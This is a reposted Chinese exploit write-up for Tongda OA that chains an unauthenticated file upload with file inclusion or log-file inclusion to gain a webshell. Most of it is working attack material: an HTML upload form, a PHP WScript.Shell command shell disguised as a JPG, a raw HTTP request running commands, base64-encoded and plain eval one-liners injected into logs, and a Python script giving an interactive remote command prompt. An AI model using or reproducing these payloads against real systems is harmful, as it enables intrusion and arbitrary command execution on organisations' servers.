通達OA任意文件上傳+文件包含GetShell/包含日志文件Getshell


0x01 簡介

通達OA采用基於WEB的企業計算,主HTTP服務器采用了世界上最先進的Apache服務器,性能穩定可靠。數據存取集中控制,避免了數據泄漏的可能。提供數據備份工具,保護系統數據安全。多級的權限控制,完善的密碼驗證與登錄驗證機制更加強了系統安全性。

0x02 漏洞概述

通過繞過身份認證, 攻擊者可上傳任意文件,配合文件包含即可出發遠程惡意代碼執行。

0x03 影響版本

       通達OA V11版 <= 11.3 20200103

  通達OA 2017版 <= 10.19 20190522

  通達OA 2016版 <= 9.13 20170710

  通達OA 2015版 <= 8.15 20160722

  通達OA 2013增強版 <= 7.25 20141211

  通達OA 2013版 <= 6.20 20141017

注:有些版本的漏洞文件ateway.php路徑不一樣

例如2013:

http://www.0-sec.org/ispirit/im/upload.php

http://www.0-sec.org/ispirit/interface/gateway.php

例如2017:

http://www.0-sec.org/ispirit/im/upload.php

http://www.0-sec.org/mac/gateway.php

例如2019:

http://www.0-sec.org/ispirit/im/upload.php

http://www.0-sec.org/ispirit/interface/gateway.php

 

C:\MYOA>dir /s /b gateway.php

C:\MYOA\webroot\mac\gateway.php

2015沒有文件包含,官方給的補丁2017的沒有修復文件包含,所以還有很多種包含日志文件getshell的姿勢,不一定要文件上傳。

http://www.0-sec.org/api/ddsuite/error.php

 

POST:message=<?php file_put_contents("2.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUE9TVFsxXSk7Pz4="));?>52011 

然后包含

http://www.0-sec.org/mac/gateway.php

POST:json={"url":"..\/..\/logs\/oa\/2003\/dd_error.log"}

在http://192.168.124.138/mac/2.php就是shell密碼1

 

復現參考

https://www.cnblogs.com/yuyan-sec/p/12549237.html

http://wiki.0-sec.org/0day/%E9%80%9A%E8%BE%BEoa/13.html

復現環境 

鏈接:https://pan.baidu.com/s/1QFscmlyGOhNNodNZOADNSA      提取碼:6fe0

通達2019  11.3版本

192.168.247.131:81

1.構造html上傳頁面(標記的就是目標地址)

<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post"  enctype="multipart/form-data">
<input  type="text"name='P' value = 1  ></input>
<input  type="text"name='MSG_CATE' value = 'file'></input>
<input  type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

2.制作圖片馬,以下代碼保存為456.jpg

<?php
//保存為jpg
    $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
    $exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
    $stdout = $exec->StdOut();  
    $stroutput = $stdout->ReadAll();  
    echo $stroutput;
?>

3.打開html,選擇文件,然后上傳456.jpg

2004是文件夾名,1395154060|456.jpg是文件名,要把 | 修改成點 ,即:1395154060.456.jpg

 

 

4. 請求相對應版本的gateway.php ,修改對應版本路徑文件,和對應圖片馬上傳的路徑和文件名

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.247.131:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=1; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=1ac017c0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

json={"url":"/general/../../attach/im/2004/1395154060.456.jpg"}&cmd=net user

 

 

 實則就是包含了上傳的圖片馬,然后執行了命令

---------------------------------------------------------------

1. 抓取數據包來發送一句話木馬代碼,不能直接在瀏覽器訪問,因為那樣符號會被瀏覽器編碼的

<?php @eval($_POST[c]);?>

 

 2.由於是本地環境搭建,那么可以查看一下nginx的日志是不是記錄了一句話(實戰環境可忽略這一步)

 

也確實是把一句話記錄在日志里

3.那么來包含這個nginx的日志來getshell   ,菜刀連接,密碼 c (:一定要用老版的菜刀,不要連不上,新版不支持這個url格式會報錯)

http://192.168.247.131:81/ispirit/interface/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}  

 

 成功連接

 

 

 

附上一個腳本,但是好像因為環境問題沒有利用成功,有環境再試吧。

 

import requests,sys

def poc():
    global url
    upload = url+"/ispirit/im/upload.php"
    cmdshell = """
    <?php
        $command=$_POST['cmd'];
        $wsh = new COM('WScript.shell');
        $exec = $wsh->exec("cmd /c ".$command);
        $stdout = $exec->StdOut();
        $stroutput = $stdout->ReadAll();
        echo $stroutput;
    ?>
    """
    files = {"ATTACHMENT": cmdshell}
    upload_post = {
        "UPLOAD_MODE":2,
        "P":123,
        "DEST_UID":2
        }
    r = requests.post(upload,upload_post,files=files)
    path = r.text
    path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")
    return path
    
def exp():
    global url
    path = poc()
    headers = {
        "Content-Type":"application/x-www-form-urlencoded"
    }
    include = url+"/ispirit/interface/gateway.php"
    while 1:
        cmd = input("$ ")
        include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd
        req = requests.post(url=include, data=include_post,headers=headers)
        print(req.text)
        if cmd == 'exit':
            break

if __name__ == '__main__':
    try:
        url = sys.argv[1]
        print("""   

 ______   ___   ____    ____      ___     ____      ____      __    ___ 
|      | /   \ |    \  /    |    |   \   /    |    |    \    /  ]  /  _]
|      ||     ||  _  ||   __|    |    \ |  o  |    |  D  )  /  /  /  [_ 
|_|  |_||  O  ||  |  ||  |  |    |  D  ||     |    |    /  /  /  |    _]
  |  |  |     ||  |  ||  |_ |    |     ||  _  |    |    \ /   \_ |   [_ 
  |  |  |     ||  |  ||     |    |     ||  |  |    |  .  \\     ||     |
  |__|   \___/ |__|__||___,_|    |_____||__|__|    |__|\_| \____||_____|
                                                                        

        """)
        poc()
        exp()
    except:
        print("python "+sys.argv[0]+" http://127.0.0.1")


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM